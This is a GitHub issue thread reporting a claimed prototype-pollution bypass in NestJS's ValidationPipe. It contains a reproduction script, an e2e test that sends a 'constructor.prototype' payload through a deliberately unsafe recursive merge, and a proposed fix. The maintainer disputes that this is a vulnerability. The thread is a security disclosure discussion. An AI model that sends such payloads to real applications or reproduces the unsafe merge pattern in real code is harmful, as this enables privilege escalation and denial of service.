Prototype Pollution Protection Bypass in ValidationPipe via 'constructor' property

[Bouquets-ai]

Is there an existing issue for this?

• I have searched the existing issues

Current behavior

he built-in ValidationPipe attempts to sanitize input payloads against prototype pollution by using the stripProtoKeys method. Currently, this method recursively deletes the proto property but fails to strip the constructor and prototype properties.

When an application uses the default Express adapter (which allows constructor in the body) and ValidationPipe, an attacker can send a crafted payload containing a constructor property.

Although class-transformer might not automatically assign constructor.prototype during the transformation process (depending on configuration), the malicious constructor property persists on the transformed DTO instance.

If this transformed DTO is subsequently used in an unsafe merge operation (e.g., merging configuration, updating database entities via Object.assign, or using recursive merge utilities like lodash.merge), it leads to Prototype Pollution.

This can potentially result in:

Denial of Service (DoS): By polluting Object.prototype with recursive structures or throwing properties.
Remote Code Execution (RCE): If combined with gadgets in dependencies (e.g., template engines like EJS, which look for properties on the prototype chain).

Minimum reproduction code

https://github.com/nestjs/nest

Steps to reproduce

Since this is a logic flaw in the core sanitization method, I have created a standalone reproduction script that demonstrates the bypass without needing a full repository setup.

1. Create a file named reproduce_issue.ts :

import { ValidationPipe } from '@nestjs/common';
import { plainToInstance, Expose } from 'class-transformer';
import 'reflect-metadata';

// 1. Setup a standard DTO
class UserDto {
  @Expose()
  name: string;
}

// 2. Expose the protected stripProtoKeys method for testing
class TestValidationPipe extends ValidationPipe {
  public publicStripProtoKeys(value: any) {
    this.stripProtoKeys(value);
  }
}

async function run() {
  const pipe = new TestValidationPipe();

  // 3. Crafted Payload targeting constructor.prototype
  const payload = JSON.parse(`{
    "name": "Attacker",
    "constructor": {
      "prototype": {
        "isAdmin": true
      }
    }
  }`);

  console.log('--- Step 1: Sanitization ---');
  pipe.publicStripProtoKeys(payload);
  
  if (payload.constructor && payload.constructor.prototype && payload.constructor.prototype.isAdmin) {
    console.log('[!] Bypass Successful: ValidationPipe failed to strip "constructor" property.');
  }

  console.log('\n--- Step 2: Transformation (class-transformer) ---');
  // Simulating the pipe's internal transformation logic
  const userDto = plainToInstance(UserDto, payload);
  
  // The 'constructor' property persists on the instance!
  if (userDto['constructor'] && userDto['constructor']['prototype']) {
     console.log('[!] Risk Confirmed: "constructor" property persists on the output DTO instance.');
  }

  console.log('\n--- Step 3: Vulnerable Sink (Unsafe Merge) ---');
  // Simulating a common developer pattern: merging DTO into an existing object/config
  const dbEntry = {};
  const unsafeMerge = (target, source) => {
    for (const key in source) {
        if (typeof source[key] === 'object' && source[key] !== null) {
            if (!target[key]) target[key] = {};
            unsafeMerge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
  };

  try {
    unsafeMerge(dbEntry, userDto);
  } catch(e) {}

  // Check Global Pollution
  const testObj: any = {};
  if (testObj.isAdmin) {
      console.log('[!!!] CRITICAL: Object.prototype has been polluted!');
  } else {
      console.log('[*] No pollution detected (this time).');
  }
}

run();

2.Run the script: npx ts-node reproduce_issue.ts

--- Step 1: Sanitization ---
[!] Bypass Successful: ValidationPipe failed to strip "constructor" property.

--- Step 2: Transformation (class-transformer) ---
[!] Risk Confirmed: "constructor" property persists on the output DTO instance.

--- Step 3: Vulnerable Sink (Unsafe Merge) ---
[!!!] CRITICAL: Object.prototype has been polluted!

Expected behavior

The stripProtoKeys method in ValidationPipe should explicitly filter out the constructor and prototype properties to prevent them from reaching the application logic.

Proposed Fix in packages/common/pipes/validation.pipe.ts ：

  if (value == null || typeof value !== 'object' || types.isTypedArray(value)) {
    return;
  }
  if (Array.isArray(value)) {
    for (const v of value) {
      this.stripProtoKeys(v);
    }
    return;
  }
  delete value.__proto__;
  delete value.constructor; // <--- Add this
  delete value.prototype;   // <--- Add this
  for (const key in value) {
    this.stripProtoKeys(value[key]);
  }
}

NestJS version

11.1.x

Packages versions

{
  "@nestjs/common": "^11.1.x",
  "@nestjs/core": "^11.1.x",
  "class-transformer": "^0.5.1",
  "reflect-metadata": "^0.2.0"
}

Node.js version

20.10.0

In which operating systems have you tested?

• macOS
• Windows
• Linux

Other

Vulnerability proof：
I built the environment using Nest-11.1.9，Successfully implanted malicious attributes into the server's memory, proving the existence of high-risk security vulnerabilities in this NestJS version

[kamilmysliwiec]

Not sure if I'm following. ValidationPipe correctly ignores these attributes, but they aren't removed from the original object when transform is set to false - this is intentional.

Why would you expect them to be stripped out? In what way would this be a vulnerability in the framework?

Please, provide an e2e test that confirms the vulnerability.

[Bouquets-ai]

Not sure if I'm following. ValidationPipe correctly ignores these attributes, but they aren't removed from the original object when transform is set to false - this is intentional.不确定我是否理解正确。 ValidationPipe 正确地忽略了这些属性，但当 transform 设置为 false 时，它们不会从原始对象中被移除——这是有意为之的。

Why would you expect them to be stripped out? In what way would this be a vulnerability in the framework?你为什么期望这些属性被移除？这在框架中如何构成漏洞？

Please, provide an e2e test that confirms the vulnerability.请提供一个端到端的测试用例来确认这个漏洞。

I understand that when transform is set to false (which is the default behavior), ValidationPipe is designed to validate the object without modifying it. Technically, preserving the original object structure is "correct" behavior for that configuration.

However, we believe this presents a significant security risk because:

1. False Sense of Security : Developers rely on ValidationPipe to act as a gatekeeper. They assume that if an object passes validation (especially against a typed DTO), it is "safe" to use in business logic.
2. Inconsistent Protection : The framework currently explicitly strips proto keys (via stripProtoKeys ), acknowledging that some keys are too dangerous to pass through. constructor poses an identical risk (via constructor.prototype pollution) but is allowed to pass.
3. Impact on Common Patterns : It is very common to pass DTOs to service methods that perform object merging (e.g., updating a database record or configuration). If constructor leaks into these methods, it leads to Prototype Pollution, which can escalate to RCE.
   Below is the requested E2E test confirming that even with ValidationPipe enabled (default settings) , a malicious constructor payload reaches the controller and pollutes the global Object.prototype

import { Test, TestingModule } from '@nestjs/testing';
import { Body, Controller, INestApplication, Post, ValidationPipe } from '@nestjs/common';
import * as request from 'supertest';
import { IsString, IsInt } from 'class-validator';

// 1. Define a standard DTO
class CreateCatDto {
  @IsString()
  name!: string;

  @IsInt()
  age!: number;

  @IsString()
  breed!: string;
}

// 2. Define a Controller that simulates a common "merge update" pattern
@Controller('cats')
class CatsController {
  @Post()
  create(@Body() createCatDto: CreateCatDto) {
    // A vulnerable sink: recursive merge
    // Many developers use libraries like 'lodash.merge' or write their own
    // to update existing records with partial data.
    const unsafeMerge = (target: any, source: any) => {
        for (const key in source) {
            if (typeof source[key] === 'object' && source[key] !== null) {
                if (!target[key]) target[key] = {};
                unsafeMerge(target[key], source[key]);
            } else {
                target[key] = source[key];
            }
        }
        return target;
    };

    const dbEntry = {};
    // VULNERABILITY: The framework allowed 'constructor' property to reach here
    unsafeMerge(dbEntry, createCatDto);
    
    return dbEntry;
  }
}

describe('Prototype Pollution (e2e)', () => {
  let app: INestApplication;

  beforeEach(async () => {
    // Reset pollution before each test
    delete (Object.prototype as any).polluted;

    const moduleFixture: TestingModule = await Test.createTestingModule({
      controllers: [CatsController],
    }).compile();

    app = moduleFixture.createNestApplication();
    
    // Enable ValidationPipe as most users do (Default options)
    // Even with ValidationPipe enabled, the 'constructor' property is not stripped
    // when transform is false (default), allowing it to reach the controller.
    app.useGlobalPipes(new ValidationPipe());
    
    await app.init();
  });

  it('/cats (POST) should pollute Object.prototype via constructor payload', () => {
    const payload = JSON.stringify({
      "constructor": {
        "prototype": {
          "polluted": true
        }
      },
      "name": "HackerCat",
      "age": 1,
      "breed": "Unknown"
    });

    return request(app.getHttpServer())
      .post('/cats')
      .set('Content-Type', 'application/json')
      .send(payload)
      .expect(201)
      .then(() => {
        // Verification: The pollution was successful
        expect(({} as any).polluted).toBe(true);
      });
  });
  
  afterAll(async () => {
    delete (Object.prototype as any).polluted;
    await app.close();
  });
});

[kamilmysliwiec]

False Sense of Security : Developers rely on ValidationPipe to act as a gatekeeper. They assume that if an object passes validation (especially against a typed DTO), it is "safe" to use in business logic.

How's it not safe to use in business logic? Please, provide an actual real-world example.

Inconsistent Protection : The framework currently explicitly strips proto keys (via stripProtoKeys ), acknowledging that some keys are too dangerous to pass through. constructor poses an identical risk (via constructor.prototype pollution) but is allowed to pass.

We could remove them too (cause why not) but still, it's a potential enhancement, not a vulnerability. The presence of constructor.prototype does not mitigate validation process, the framework just doesn't strip it (as it's instructed to leave attributes untouched due to transform set to false).

Below is the requested E2E test confirming that even with ValidationPipe enabled (default settings) , a malicious constructor payload reaches the controller and pollutes the global Object.prototype

This is the default behavior of express though. Again, I'm not sure how this is a vulnerability on the framework side. Even after "an unsafe merge" procedure you demonstrated in the example above, the vulnerability would have to be present on the ORM side.

[Bouquets-ai]

False Sense of Security : Developers rely on ValidationPipe to act as a gatekeeper. They assume that if an object passes validation (especially against a typed DTO), it is "safe" to use in business logic.

How's it not safe to use in business logic? Please, provide an actual real-world example.

Inconsistent Protection : The framework currently explicitly strips proto keys (via stripProtoKeys ), acknowledging that some keys are too dangerous to pass through. constructor poses an identical risk (via constructor.prototype pollution) but is allowed to pass.

We could remove them too (cause why not) but still, it's a potential enhancement, not a vulnerability. The presence of constructor.prototype does not mitigate validation process, the framework just doesn't strip it (as it's instructed to leave attributes untouched due to transform set to false).

Below is the requested E2E test confirming that even with ValidationPipe enabled (default settings) , a malicious constructor payload reaches the controller and pollutes the global Object.prototype

This is the default behavior of express though. Again, I'm not sure how this is a vulnerability on the framework side. Even after "an unsafe merge" procedure you demonstrated in the example above, the vulnerability would have to be present on the ORM side.

Then please list it as a clearly defined risk item.

[kamilmysliwiec]

Just to be clear - I'm OK with either creating a PR to the documentation that outlines this behavior, or creating a PR to this repository removing these attributes as well (similar to proto). If you're interested in doing so - feel free, contributions are more than welcome.

The only reason I raised some of those questions is that I don’t think this is actually a vulnerability. Other than that, I'm happy to accept anything that helps make things clearer for everyone.